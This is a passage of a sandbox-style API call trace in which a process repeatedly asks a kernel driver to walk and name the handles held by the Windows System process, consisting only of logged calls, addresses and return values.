PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.691] PsAcquireProcessExitSynchronization () returned 0x0 [0102.691] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.691] ObReferenceObjectByHandle (in: Handle=0xffffffff80000148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003be2f20, HandleInformation=0x0) returned 0x0 [0102.691] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.691] PsReleaseProcessExitSynchronization () returned 0x2 [0102.691] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.691] ObQueryNameString (in: Object=0xfffffa8003be2f20, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.691] ObfDereferenceObject (Object=0xfffffa8003be2f20) returned 0x1 [0102.691] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.691] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.691] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0102.691] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.691] PsAcquireProcessExitSynchronization () returned 0x0 [0102.691] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.691] ObReferenceObjectByHandle (in: Handle=0xffffffff80000154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80043f1b50, HandleInformation=0x0) returned 0x0 [0102.691] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.691] PsReleaseProcessExitSynchronization () returned 0x2 [0102.691] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.691] ObQueryNameString (in: Object=0xfffffa80043f1b50, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.692] ObfDereferenceObject (Object=0xfffffa80043f1b50) returned 0x1 [0102.692] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.692] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.692] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0102.692] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.692] PsAcquireProcessExitSynchronization () returned 0x0 [0102.692] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.692] ObReferenceObjectByHandle (in: Handle=0xffffffff80000158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80067fad00, HandleInformation=0x0) returned 0x0 [0102.692] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.692] PsReleaseProcessExitSynchronization () returned 0x2 [0102.692] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.692] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.692] ObfDereferenceObject (Object=0xfffffa80067fad00) returned 0x1 [0102.692] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.692] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.692] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0102.692] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.692] PsAcquireProcessExitSynchronization () returned 0x0 [0102.692] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.692] ObReferenceObjectByHandle (in: Handle=0xffffffff8000015c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003673de0, HandleInformation=0x0) returned 0x0 [0102.692] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.692] PsReleaseProcessExitSynchronization () returned 0x2 [0102.692] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.692] ObQueryNameString (in: Object=0xfffffa8003673de0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.692] ObfDereferenceObject (Object=0xfffffa8003673de0) returned 0x2 [0102.692] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.693] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.693] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x4a, lpOverlapped=0x0) returned 1 [0102.693] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.693] PsAcquireProcessExitSynchronization () returned 0x0 [0102.693] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.693] ObReferenceObjectByHandle (in: Handle=0xffffffff80000160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80043f1400, HandleInformation=0x0) returned 0x0 [0102.693] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.693] PsReleaseProcessExitSynchronization () returned 0x2 [0102.693] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.693] ObQueryNameString (in: Object=0xfffffa80043f1400, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.693] ObfDereferenceObject (Object=0xfffffa80043f1400) returned 0x1 [0102.693] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.693] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.693] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0102.693] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.693] PsAcquireProcessExitSynchronization () returned 0x0 [0102.693] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.693] ObReferenceObjectByHandle (in: Handle=0xffffffff80000164, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002df8f20, HandleInformation=0x0) returned 0x0 [0102.693] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.693] PsReleaseProcessExitSynchronization () returned 0x2 [0102.693] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.693] ObQueryNameString (in: Object=0xfffffa8002df8f20, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.693] ObfDereferenceObject (Object=0xfffffa8002df8f20) returned 0x1 [0102.693] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.693] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.693] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0102.693] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.693] PsAcquireProcessExitSynchronization () returned 0x0 [0102.694] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.694] ObReferenceObjectByHandle (in: Handle=0xffffffff80000168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002df8c90, HandleInformation=0x0) returned 0x0 [0102.694] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.694] PsReleaseProcessExitSynchronization () returned 0x2 [0102.694] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.694] ObQueryNameString (in: Object=0xfffffa8002df8c90, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.694] ObfDereferenceObject (Object=0xfffffa8002df8c90) returned 0x1 [0102.694] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.694] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.694] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0102.694] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.694] PsAcquireProcessExitSynchronization () returned 0x0 [0102.694] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.694] ObReferenceObjectByHandle (in: Handle=0xffffffff8000016c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8004bd9e60, HandleInformation=0x0) returned 0x0 [0102.694] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.694] PsReleaseProcessExitSynchronization () returned 0x2 [0102.694] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.694] ObQueryNameString (in: Object=0xfffffa8004bd9e60, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.694] ObfDereferenceObject (Object=0xfffffa8004bd9e60) returned 0x1 [0102.694] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.694] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.694] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0102.694] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.694] PsAcquireProcessExitSynchronization () returned 0x0 [0102.694] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.694] ObReferenceObjectByHandle (in: Handle=0xffffffff80000170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002df9bd0, HandleInformation=0x0) returned 0x0 [0102.694] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.694] PsReleaseProcessExitSynchronization () returned 0x2 [0102.694] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.694] ObQueryNameString (in: Object=0xfffffa8002df9bd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.695] ObfDereferenceObject (Object=0xfffffa8002df9bd0) returned 0x1 [0102.695] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.695] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.695] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xa8, lpOverlapped=0x0) returned 1 [0102.695] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.695] PsAcquireProcessExitSynchronization () returned 0x0 [0102.695] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.695] ObReferenceObjectByHandle (in: Handle=0xffffffff80000194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002dfabf0, HandleInformation=0x0) returned 0x0 [0102.695] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.695] PsReleaseProcessExitSynchronization () returned 0x2 [0102.695] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.695] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.695] ObfDereferenceObject (Object=0xfffffa8002dfabf0) returned 0x21 [0102.695] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.695] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.695] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0102.695] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.695] PsAcquireProcessExitSynchronization () returned 0x0 [0102.695] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.695] ObReferenceObjectByHandle (in: Handle=0xffffffff80000198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002e4a050, HandleInformation=0x0) returned 0x0 [0102.695] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.695] PsReleaseProcessExitSynchronization () returned 0x2 [0102.695] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.695] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.695] ObfDereferenceObject (Object=0xfffffa8002e4a050) returned 0x1 [0102.695] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.695] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.695] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0102.696] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.696] PsAcquireProcessExitSynchronization () returned 0x0 [0102.696] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.696] ObReferenceObjectByHandle (in: Handle=0xffffffff800001b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002e5dd00, HandleInformation=0x0) returned 0x0 [0102.696] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.696] PsReleaseProcessExitSynchronization () returned 0x2 [0102.696] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.696] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.696] ObfDereferenceObject (Object=0xfffffa8002e5dd00) returned 0x1 [0102.696] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.696] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.696] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x62, lpOverlapped=0x0) returned 1 [0102.696] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.696] PsAcquireProcessExitSynchronization () returned 0x0 [0102.696] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.696] ObReferenceObjectByHandle (in: Handle=0xffffffff800001bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f10050, HandleInformation=0x0) returned 0x0 [0102.696] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.696] PsReleaseProcessExitSynchronization () returned 0x2 [0102.696] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12a [0102.696] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.696] ObfDereferenceObject (Object=0xfffffa8002f10050) returned 0x1 [0102.696] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.696] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.696] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0102.696] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.771] PsAcquireProcessExitSynchronization () returned 0x0 [0102.771] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.771] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800296af20, HandleInformation=0x0) returned 0x0 [0102.771] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.771] PsReleaseProcessExitSynchronization () returned 0x2 [0102.771] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.771] ObQueryNameString (in: Object=0xfffffa800296af20, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.771] ObfDereferenceObject (Object=0xfffffa800296af20) returned 0x3 [0102.771] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.771] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.771] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0102.771] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.772] PsAcquireProcessExitSynchronization () returned 0x0 [0102.772] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.772] ObReferenceObjectByHandle (in: Handle=0xffffffff800001c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f25720, HandleInformation=0x0) returned 0x0 [0102.772] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.772] PsReleaseProcessExitSynchronization () returned 0x2 [0102.772] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.772] ObQueryNameString (in: Object=0xfffffa8002f25720, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.772] ObfDereferenceObject (Object=0xfffffa8002f25720) returned 0x1 [0102.772] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.772] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.772] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0102.772] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.772] PsAcquireProcessExitSynchronization () returned 0x0 [0102.772] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.772] ObReferenceObjectByHandle (in: Handle=0xffffffff800001cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: 